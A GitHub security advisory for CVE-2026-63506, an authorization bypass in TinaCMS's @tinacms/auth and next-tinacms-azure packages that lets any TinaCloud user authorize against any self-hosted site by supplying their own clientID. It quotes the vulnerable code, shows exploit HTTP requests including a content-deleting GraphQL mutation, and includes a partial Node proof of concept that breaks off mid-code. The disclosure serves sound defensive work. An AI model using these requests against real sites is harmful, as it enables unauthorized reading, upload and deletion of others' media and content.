GitHub Advisoryadvisory · npm

GHSA-g74q-6g2f-874x Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site

HIGH Published 2026-09-17 Modified 2026-09-17 Official page ↗
Aliases
CVE-2026-63506
Ecosystem
npm
Packages
@tinacms/auth, next-tinacms-azure
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-639
Reviewed
2026-09-17

Affected packages

• npm @tinacms/auth: < 1.1.4 → fixed in 1.1.4 • npm next-tinacms-azure: < 15.0.1 → fixed in 15.0.1

Description

Summary `@tinacms/auth`'s `isAuthorized(req)` decides authorization by validating the caller's bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=` plus `Authorization: ` to a victim self-hosted site. The victim's `authorized` callback runs `const user = await isAuthorized(req); return user && user.verified`, which returns `true`, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content. Affected code (confirmed at `5a6839f`) `packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request: ```ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; ``` `index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`: ```ts const tinaCloudRes = await fetch( `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } ``` `index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker's own email verification: ```ts isAuthorized: async (req, _res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, ``` Every media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`): ```ts authorized: async (req, _res) => { if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === check } ``` The bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get('clientID')`). Downstream nothing pins the site's `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -> `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment). Steps to reproduce (real target) Setup: attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`. Media bucket (read; the same gate covers `POST` upload and `DELETE`): ``` GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker ``` Content backend, when `TinaCloudBackendAuthProvider` is used: ``` POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}} ``` Expected: 401/403 for a user with no access to `victim.example`. Actual: 200, because authorization is bound to the attacker-supplied `clientID`. Proof of concept (self-contained, zero dependencies) Save the file below as `poc.js` and run `node poc.js` (Node >= 18). It runs the package's own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. ```js /** • Self-contained PoC — @tinacms/auth cross-tenant authorization bypass • Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) * • Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) * • The two functions below are copied from packages/@tinacms/auth/src/index.ts. • The ONLY changes are: TypeScript types removed, and the hard-coded • https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the • local identity model. req.query.clientID, the currentUser call, and the • `user && user.verified` gate are byte-for-byte the original logic. */ const http = require('http'); const IDENTITY_PORT = 18099; const VICTIM_PORT = 19090; process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`; /* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */ const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USER_FOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); /* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */ const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) =…

Related

Alias · CVE (1)

  • CVE-2026-63506 Tina is a headless content management system. vulnerability

Weakness · CWE (1)

  • CWE-639 Authorization Bypass Through User-Controlled Key weakness

References